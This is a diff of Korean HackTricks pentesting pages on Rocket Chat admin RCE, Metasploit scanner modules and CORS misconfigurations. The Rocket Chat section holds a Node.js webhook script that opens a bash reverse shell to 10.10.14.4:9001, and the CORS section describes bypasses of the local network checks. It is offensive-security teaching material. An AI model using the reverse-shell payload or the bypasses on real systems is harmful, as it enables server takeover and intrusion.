* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,39 +2,39 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
만약 Rocket Chat 내에서 관리자라면 RCE를 얻을 수 있습니다.
|
||||
만약 Rocket Chat 내에서 관리자 권한을 가지고 있다면 RCE를 얻을 수 있습니다.
|
||||
|
||||
* **`Integrations`**로 이동하고 **`New Integration`**을 선택하고 **`Incoming WebHook`** 또는 **`Outgoing WebHook`** 중 하나를 선택합니다.
|
||||
* **`Integrations`**로 이동하고 **`New Integration`**을 선택하고 **`Incoming WebHook`** 또는 **`Outgoing WebHook`**을 선택합니다.
|
||||
* `/admin/integrations/incoming`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* [문서](https://docs.rocket.chat/guides/administration/admin-panel/integrations)에 따르면 둘 다 ES2015 / ECMAScript 6 ([기본적으로 JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))를 사용하여 데이터를 처리합니다. 그래서 [노드JS를 위한 rev 쉘](../../generic-methodologies-and-resources/shells/linux.md#nodejs)을 가져오겠습니다.
|
||||
* [문서](https://docs.rocket.chat/guides/administration/admin-panel/integrations)에 따르면 둘 다 ES2015 / ECMAScript 6 ([기본적으로 JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))를 사용하여 데이터를 처리합니다. 그래서 [nodejs를 위한 rev shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs)을 가져오겠습니다.
|
||||
```javascript
|
||||
const require = console.log.constructor('return process.mainModule.require')();
|
||||
const { exec } = require('child_process');
|
||||
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
||||
```
|
||||
* 웹훅 구성 (채널 및 게시물의 사용자 이름이 있어야 함):
|
||||
* 웹훅 구성 (채널 및 게시물은 사용자 이름이 있어야 함):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -50,20 +50,20 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|||
* curl로 호출하면 rev 쉘을 받아야 함
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 학습하세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요**.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -26,23 +26,23 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
|||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
만약 유효한 자격 증명을 찾는다면, 더 많은 metasploit 스캐너 모듈을 사용하여 정보를 얻을 수 있습니다.
|
||||
만약 유효한 자격 증명을 찾는다면, 더 많은 Metasploit 스캐너 모듈을 사용하여 정보를 획득할 수 있습니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 당신의 해킹 기술을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,44 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 제로부터 전문가로 배우세요</strong>!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CORS가 무엇인가요?
|
||||
|
||||
Cross-Origin Resource Sharing (CORS) 표준은 **서버가 자산에 액세스할 수 있는 사용자**와 **외부 소스에서 허용된 HTTP 요청 방법을 정의**할 수 있도록 합니다.
|
||||
Cross-Origin Resource Sharing (CORS) 표준은 **서버가 자산에 액세스할 수 있는 대상** 및 **외부 소스에서 허용된 HTTP 요청 방법**을 정의할 수 있도록 합니다.
|
||||
|
||||
**동일 출처** 정책은 **자원을 요청하는 서버**와 **자원을 호스팅하는 서버**가 동일한 프로토콜 (예: `http://`), 도메인 이름 (예: `internal-web.com`), 및 **포트** (예: 80)를 공유해야 한다는 원칙입니다. 이 정책에 따르면, 동일한 도메인 및 포트의 웹 페이지만이 자원에 액세스할 수 있습니다.
|
||||
**동일 출처** 정책은 **자원을 요청하는 서버**와 **자원을 호스팅하는 서버**가 동일한 프로토콜 (예: `http://`), 도메인 이름 (예: `internal-web.com`), 및 **포트** (예: 80)를 공유해야 한다는 규칙입니다. 이 정책에 따르면, 동일한 도메인 및 포트의 웹 페이지만이 자원에 액세스할 수 있습니다.
|
||||
|
||||
`http://normal-website.com/example/example.html`의 경우 동일 출처 정책의 적용은 다음과 같이 설명됩니다:
|
||||
|
||||
| 액세스된 URL | 허용 여부 |
|
||||
| --------------------------------------- | --------------------------------- |
|
||||
| `http://normal-website.com/example/` | 예: 동일한 스키마, 도메인 및 포트 |
|
||||
| `http://normal-website.com/example2/` | 예: 동일한 스키마, 도메인 및 포트 |
|
||||
| `https://normal-website.com/example/` | 아니요: 다른 스키마 및 포트 |
|
||||
| `http://en.normal-website.com/example/` | 아니요: 다른 도메인 |
|
||||
| `http://www.normal-website.com/example/`| 아니요: 다른 도메인 |
|
||||
| `http://normal-website.com:8080/example/`| 아니요: 다른 포트\* |
|
||||
| `http://normal-website.com/example/` | 예: 동일한 스킴, 도메인 및 포트 |
|
||||
| `http://normal-website.com/example2/` | 예: 동일한 스킴, 도메인 및 포트 |
|
||||
| `https://normal-website.com/example/` | 아니요: 다른 스킴 및 포트 |
|
||||
| `http://en.normal-website.com/example/` | 아니요: 다른 도메인 |
|
||||
| `http://www.normal-website.com/example/`| 아니요: 다른 도메인 |
|
||||
| `http://normal-website.com:8080/example/`| 아니요: 다른 포트\* |
|
||||
|
||||
\*Internet Explorer는 동일 출처 정책에서 포트 번호를 무시하므로 이 액세스를 허용합니다.
|
||||
\*인터넷 익스플로러는 동일 출처 정책을 시행할 때 포트 번호를 무시하여 이 액세스를 허용합니다.
|
||||
|
||||
### `Access-Control-Allow-Origin` 헤더
|
||||
|
||||
이 헤더는 **여러 출처**, **`null`** 값 또는 와일드카드 **`*`**를 허용할 수 있습니다. 그러나 **브라우저는 여러 출처를 지원하지 않으며**, 와일드카드 `*`의 사용은 **제한**을 받습니다. (와일드카드는 단독으로 사용해야 하며, `Access-Control-Allow-Credentials: true`와 함께 사용할 수 없습니다.)
|
||||
이 헤더는 **여러 출처**, **`null`** 값 또는 와일드카드 **`*`**를 허용할 수 있습니다. 그러나 **브라우저는 여러 출처를 지원하지 않으며**, 와일드카드 `*`의 사용은 **제한**을 받습니다. (와일드카드는 단독으로 사용해야 하며, `Access-Control-Allow-Credentials: true`와 함께 사용하는 것은 허용되지 않습니다.)
|
||||
|
||||
이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 **서버에 의해 발행**되며, 브라우저는 자동으로 `Origin` 헤더를 추가합니다.
|
||||
|
||||
|
@ -78,11 +78,11 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
### 교차 도메인 통신에서 사전 요청 이해
|
||||
|
||||
특정 조건 하에서 교차 도메인 요청을 시작할 때, **표준이 아닌 HTTP 메소드**(HEAD, GET, POST 이외의 것)를 사용하거나 새로운 **헤더**를 도입하거나 특별한 **Content-Type 헤더 값**을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 사전 요청은 **`OPTIONS`** 메소드를 활용하여 서버에게 다가오는 교차 출처 요청의 의도를 알리며 사용할 HTTP 메소드와 헤더를 포함합니다.
|
||||
특정 조건 하에서 교차 도메인 요청을 시작할 때, **표준이 아닌 HTTP 메소드**(HEAD, GET, POST 이외의 것)를 사용하거나 새로운 **헤더**를 도입하거나 특별한 **Content-Type 헤더 값**을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 사전 요청은 **`OPTIONS`** 메소드를 활용하여 교차 출처 요청의 의도, 사용할 HTTP 메소드 및 헤더 등을 서버에 알리는 역할을 합니다.
|
||||
|
||||
**교차 출처 자원 공유 (CORS)** 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며 허용된 메소드, 헤더, 그리고 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)에서 제공하는 포괄적인 가이드를 참조하십시오.
|
||||
**교차 출처 자원 공유 (CORS)** 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며, 허용된 메소드, 헤더 및 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)에서 제공하는 포괄적인 가이드를 참조하십시오.
|
||||
|
||||
**사전 요청의 부재는 응답이 인가 헤더를 포함해야 하는 요구 사항을 무효화하지 않는다는 점**을 주목해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.
|
||||
**사전 요청의 부재는 응답이 인가 헤더를 포함해야 하는 요구 사항을 제거하지 않음**을 주의해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.
|
||||
|
||||
다음은 `PUT` 메소드와 `Special-Request-Header`라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시를 고려해보십시오:
|
||||
```
|
||||
|
@ -93,7 +93,7 @@ Origin: https://example.com
|
|||
Access-Control-Request-Method: POST
|
||||
Access-Control-Request-Headers: Authorization
|
||||
```
|
||||
다음은 서버가 허용된 메소드, 허용된 출천지, 그리고 다른 CORS 정책 세부사항을 나타내는 헤더를 반환할 수 있습니다.
|
||||
다음은 서버가 허용된 메소드, 허용된 출천지, 그리고 다른 CORS 정책 세부사항을 나타내는 헤더를 반환할 수 있습니다. 아래와 같이 표시됩니다:
|
||||
```markdown
|
||||
HTTP/1.1 204 No Content
|
||||
...
|
||||
|
@ -107,18 +107,18 @@ Access-Control-Max-Age: 240
|
|||
* **`Access-Control-Expose-Headers`**: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에게 알립니다.
|
||||
* **`Access-Control-Max-Age`**: 이 헤더는 사전 플라이트 요청의 결과를 캐시할 수 있는 시간을 나타냅니다. 서버는 사전 플라이트 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간(초)을 설정합니다.
|
||||
* **`Access-Control-Request-Headers`**: 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더에 대해 서버에 알립니다.
|
||||
* **`Access-Control-Request-Method`**: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메소드를 나타내도록 설정됩니다.
|
||||
* **`Access-Control-Request-Method`**: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내기 위해 설정됩니다.
|
||||
* **`Origin`**: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단하는 데 사용됩니다.
|
||||
|
||||
**참고로, 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 액세스하려면** _Access-Control-Allow-Origin_ 헤더를 포함해야 합니다.\
|
||||
**참고**: 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 액세스하려면** _Access-Control-Allow-Origin_ 헤더를 포함해야 합니다.\
|
||||
**따라서, CORS는 CSRF에 대해 보호하지 않지만 도움이 될 수 있습니다.**
|
||||
|
||||
### **로컬 네트워크 요청 사전 플라이트 요청**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: 이 헤더는 클라이언트의 요청에 포함되어 있어서 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크에서 시작되었음을 알리는 표식으로 작용합니다.
|
||||
2. **`Access-Control-Allow-Local-Network`**: 응답에서, 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하면서 제어된 액세스를 보장하고 보안 프로토콜을 유지합니다.
|
||||
1. **`Access-Control-Request-Local-Network`**: 이 헤더는 클라이언트의 요청에 포함되어 있어서, 해당 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크 내에서 발생했음을 알리는 표식 역할을 합니다.
|
||||
2. **`Access-Control-Allow-Local-Network`**: 응답에서, 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하며, 보안 프로토콜을 유지하면서 제어된 액세스를 보장합니다.
|
||||
|
||||
**로컬 네트워크 요청을 허용하는 유효한 응답**은 응답에도 `Access-Controls-Allow-Local_network: true` 헤더를 포함해야 합니다:
|
||||
**로컬 네트워크 요청을 허용하는 유효한 응답**은 응답에 `Access-Controls-Allow-Local_network: true` 헤더도 포함되어야 합니다:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -130,22 +130,22 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
리눅스 **0.0.0.0** IP를 사용하면 로컬호스트에 액세스하기 위한 요구 사항을 **우회**할 수 있다. 이 IP 주소는 "로컬"로 간주되지 않기 때문이다.
|
||||
리눅스 **0.0.0.0** IP는 로컬로 간주되지 않기 때문에 로컬호스트에 액세스하기 위해 이러한 요구 사항을 **우회**하는 데 사용됩니다.
|
||||
|
||||
또한, 로컬 네트워크 요구 사항을 **우회**하는 것이 가능하다. 이를 위해 로컬 엔드포인트의 **공용 IP 주소**(예: 라우터의 공용 IP)를 사용할 수 있다. 몇 가지 경우에는 **공용 IP**에 액세스하더라도, 그것이 **로컬 네트워크**에서 액세스되는 경우에는 액세스가 허용될 수 있다.
|
||||
또한, 로컬 네트워크 요구 사항을 **우회**하는 것이 가능합니다. 이를 위해 로컬 엔드포인트의 **공개 IP 주소**(예: 라우터의 공개 IP)를 사용하는 것이 가능합니다. 왜냐하면 여러 경우에, 심지어 **공개 IP**에 액세스하더라도, 만약 **로컬 네트워크**에서 액세스하는 경우에는 액세스가 허용될 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
## Exploitable misconfigurations
|
||||
|
||||
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것이 대부분의 **실제 공격**에 대한 선행 조건임이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이 설정이 없으면 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 줄어들어, 공격의 효과가 감소합니다.
|
||||
`Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것이 대부분의 **실제 공격**에 대한 선행 조건임이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이를 통해 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 사라지게 됩니다.
|
||||
|
||||
### Exception: Exploiting Network Location as Authentication
|
||||
|
||||
피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 존재합니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 가지지만 더 쉽게 악용할 수 있습니다.
|
||||
피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 존재합니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 공유하지만 더 간단하게 악용할 수 있습니다.
|
||||
|
||||
### Reflection of `Origin` in `Access-Control-Allow-Origin`
|
||||
|
||||
`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는, 이러한 헤더를 결합하는 제한 때문에 이론적으로 불가능합니다. 그러나, 여러 URL에 대해 CORS를 활성화하려는 개발자들은 `Origin` 헤더의 값을 복사하여 `Access-Control-Allow-Origin` 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 유효성 검사 논리를 속이기 위해 합법적으로 보이도록 설계된 도메인을 사용하는 경우에는 더욱 위험할 수 있습니다.
|
||||
